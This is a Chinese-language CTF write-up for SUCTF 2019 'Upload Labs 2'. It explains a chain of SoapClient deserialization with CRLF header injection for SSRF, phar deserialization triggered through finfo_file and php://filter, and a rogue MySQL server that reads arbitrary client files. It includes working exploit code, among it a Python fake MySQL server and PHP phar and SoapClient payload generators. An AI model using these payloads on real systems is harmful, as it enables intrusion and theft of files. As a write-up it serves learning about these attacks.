SUCTF 2019 Upload labs 2 踩坑記錄


SUCTF 2019 Upload labs 2 踩坑記錄

題目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2

最近惡補了一下 SoapClient 反序列化和 MySQL 客戶端任意文件讀取的知識,這個題目很好的說明了這兩個知識點

有一個問題,GitHub 上的代碼有點錯誤,admin.php 中第 63 行 $arg2 = $_POST['arg3']; 要改成 $arg3 = $_POST['arg3'];

SoapClient 反序列化

SoapClient 類 用來提供和使用 webservice

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一個參數為 WSDL 文件的 URI ,如果是 NULL 意味着不使用 WSDL 模式

第二個參數是一個數組,如果在 WSDL 模式下,這個參數是可選的。如果在 non-WSDL 模式下,必須設置 location 和 uri 參數,location 是要請求的 URL,uri 是要訪問的資源

在官方文檔中可以看到,它的 user_agent 參數是可以控制 HTTP 頭部的 User-Agent 的。而在 HTTP 協議中,header 與 body 是用兩個 \r\n 分隔的,瀏覽器也是通過這兩個 \r\n 來區分 header 和 body 的

The user_agent option specifies string to use in User-Agent header.

在一個正常的 SoapClient 請求中,可以看到,SOAPAction 是可控的,盡管 php 報了關於 http 頭部的 Fatal error 和 SoapFault,還是監聽到了請求

<?php
$a = array('location'=>'http://127.0.0.1:20000/', 'uri'=>'user');
$x = new SoapClient(NULL, $a);
$y = serialize($x);
$z = unserialize($y);
$z->no_func();

這樣就有兩個地方是可控的,User-Agent 和 SOAPAction,明顯 Content-Type 和 Content-Length 都在 User-Agent 之下,用 wupco 師傅的 payload 就能進行任意的 POST 請求,這里要先 urldecode 才可以進行反序列化

<?php
$target = 'http://127.0.0.1:20000/';
$post_string = 'asdfghjkl';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: admin=1'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "peri0d"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;

$x = unserialize(urldecode($aaa));
$x->no_func();

在 index.php 處的代碼是捕獲 http body 並存儲到 txt 中,先監聽一下端口得到請求頭,然后再用 soap 訪問一下 index.php,可以看到成功控制了這個 POST 請求

POST / HTTP/1.1
Host: 122.51.18.106:20000
Connection: Keep-Alive
User-Agent: wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: admin=1
Content-Length: 9

asdfghjkl
Content-Type: text/xml; charset=utf-8
SOAPAction: "user#no_func"
Content-Length: 371

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="user" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:no_func/></SOAP-ENV:Body></SOAP-ENV:Envelope>

MySQL 客戶端任意文件讀取

在正常的 LOAD DATA LOCAL 語句中,比如 LOAD DATA LOCAL INFILE "/etc/passwd" INTO TABLE mysql.test ,它正常客戶端和服務端的交互如下

  1. 客戶端發送執行這個語句的請求
  2. 服務端說,我需要你這個文件的內容,才可以將這個文件寫入表。即服務端向客戶端請求文件
  3. 客戶端發送文件內容

在這里,客戶端就不是傳統意義的客戶端 ( 它更像是一個服務端) ,如果不看第一步,直接構造第二部的數據包,那么服務端可以任意讀取客戶端能夠讀取的本地文件。實際上,服務端可以在任何查詢語句后回復文件傳輸請求,即即使不使用 LOAD DATA LOCAL 也可以實現文件讀取。那么就可以考慮偽造一個不可信的服務端,來進行任意文件讀取。

這個漏洞最初出現在 phpMyAdmin 中,復現地址:phpMyAdmin開啟遠程登陸導致本地文件讀取

詳細復現內容:phpMyAdmin LOAD DATA INFILE 任意文件讀取漏洞

exp :

#coding=utf-8
#python2
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
# the file you want to read
filename="./flag"

sv=socket.socket()

# the port
sv.bind(("",20001))

sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

本地的測試 php 文件

<?php
$m = new mysqli(); 
$m->init(); 
$m->real_connect('47.95.217.198','select 1','select 1','select 1',20001); 
$m->query('select 1;');

結果

題解

用 exp1.php 生成 1.phar 文件,然后改名為 1.gif 上傳得到地址,upload/b2976de47564cc8dcc24e53d04cc3609/b5e9b4f86ce43ca65bd79c894c4a924c.gif

<?php
class File{
	public $func="SoapClient";
	public $file_name;
	
	function __construct($file_name){
        $this->file_name = $file_name;
    }
}

$target = 'http://127.0.0.1/admin.php';
$string = 'admin=1&clazz=mysqli&func1=init&func2=real_connect&func3=query&arg1=""&arg3=select 1;&arg2[0]=47.95.217.198&arg2[1]=select 1&arg2[2]=select 1&arg2[3]=select 1&arg2[4]=20001&ip=1&port=1';

$post_string = str_replace('&','%26',$string);

$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    );

$f = [null,
array('location' => $target,'user_agent'=>urldecode(str_replace('^^','%0d%0a','wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string)),'uri'=> "user")];

$phar = new Phar("1.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); 

$o = new File($f);
$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test"); 

$phar->stopBuffering();

用 exp2.php 生成 2.phar 文件,然后改名為 2.gif 上傳得到地址,upload/b2976de47564cc8dcc24e53d04cc3609/274a01ad7ad7ad7d73d5f0b399ae5db2.gif

![su_2](C:\Users\wcg\Desktop\serial\su_2.png)<?php
class Ad{
	
}

$phar = new Phar("2.phar"); 
$phar->startBuffering();

$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); 
$o = new Ad();
$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test"); 

$phar->stopBuffering();

在 vps 上運行 mysql 客戶端文件讀取的腳本,filename 為 phar://./upload/b2976de47564cc8dcc24e53d04cc3609/274a01ad7ad7ad7d73d5f0b399ae5db2.gif ,這是第二次上傳的 phar 文件

在 func.php 中 post 的查詢語句為( 查詢第一個上傳的 phar 文件 ):php://filter/resource=phar://./upload/b2976de47564cc8dcc24e53d04cc3609/b5e9b4f86ce43ca65bd79c894c4a924c.gif

然后可以在 vps 上看到 system 執行的 curl 和讀取的文件

分析

finfo_file() 結合 php://filter 觸發 phar 反序列化

test.php

<?php
class Test{
	public $func;
	public $file_name;

	function __construct($func, $file_name){
		$this->func = $func;
        $this->file_name = $file_name;
    }
	public function __wakeup(){
		echo "ok</br>";
		$class = new ReflectionClass($this->func);
		$a = $class->newInstanceArgs($this->file_name);
		$a->check();
	}
}

$name = "php://filter/read=convert.base64-encode/resource=phar://./1.phar";
$x = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($x, $name);

exp.php

<?php

class Test{
	public $func="SoapClient";
	public $file_name;
	
	function __construct($file_name){
        $this->file_name = $file_name;
    }
}

$target = 'http://47.95.217.198:20002/';
$post_string = 'finfo phar ';
$headers = array('X-Forwarded-For: 127.0.0.1');

$f = [null,
array('location' => $target,'user_agent'=>urldecode(str_replace('^^','%0d%0a','wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string)),'uri'=> "user")];

$phar = new Phar("1.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); 

$o = new Test($f);
$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test"); 

$phar->stopBuffering();

可以看到 finfo_file 通過 php://filter 觸發了 phar 反序列化,進而觸發了 Test 類的 __wakeup() 函數,再觸發 SoapClient 的反序列化

MySQL Client Attack

test.php

<?php
class Ad{
	public $clazz="mysqli";
	public $func1="init";
	public $func2="real_connect";
	public $func3="query";
	public $instance;
	public $arg1="";
	public $arg2; // array('47.95.217.198','select 1','select 1','select 1',20001)
	public $arg3="select 1;";
	
	function __construct($x){
		$this->arg2 = $x;
	}
	
	/*
	$m = new mysqli();
	$m->init();
	$m->real_connect('ip','root','root','test',3306);
	$m->query('select 1;');
	*/
	function check(){
		$reflect = new ReflectionClass($this->clazz);
		$this->instance = $reflect->newInstanceArgs();

		$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
		$reflectionMethod->invoke($this->instance, $this->arg1);

		$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
		$reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);

		$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
		$reflectionMethod->invoke($this->instance, $this->arg3);
	}
}
if (isset($_POST['arg2'])) {
$a = new Ad($_POST['arg2']);
$a->check();
}

直接 POST arg2[0]=47.95.217.198&arg2[1]=select 1&arg2[2]=select 1&arg2[3]=select 1&arg2[4]=20001 可以看到偽造的 MySQL 服務端讀取到了文件

總結

上面一部分已經詳細的拆解了這個題目考察的點,將上面兩部分拼接在一起就是一個完整的攻擊鏈。

想要讀到 flag 就必須反序列化 Ad 類,可以利用的反序列化只有 phar。而 Ad 類是實現 MySQL 連接的地方,這就可以使用 MySQL 客戶端攻擊,讓 admin.php 連接到一個偽造的 MySQL 服務端,然后在這個偽造的服務端用 phar:// 讀取 phar 文件,從而觸發 Ad() 類的反序列化。

要想讓 admin.php 連接偽造的 MySQL 服務端,就要讓 REMOTE_ADDR 為 127.0.0.1,即本地訪問,而在 File 類中的 __wakeup() 恰好可以提供 Soap Client 反序列化實現 SSRF,接下來就是如何讓 File() 類反序列化。

可以看到 File() 類的 getMIME() 函數使用了 finfo_file() 函數,這個函數可以觸發 phar 反序列化,但是在 fuc.php 不能傳 phar:// 開頭的字符串,這里就可以使用 php://filter/resource=...... 進行繞過,而對於文件內容不能有 <? 則可以使用 <script language='php'>__HALT_COMPILER();</script> 繞過

整體就是通過 File 觸發 Soap 訪問 admin.php,接着觸發 Mysql Client Attack,再觸發 phar 即可

參考

https://lorexxar.cn/2020/01/14/css-mysql-chain/#演示

https://www.cnblogs.com/tr1ple/p/11394464.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM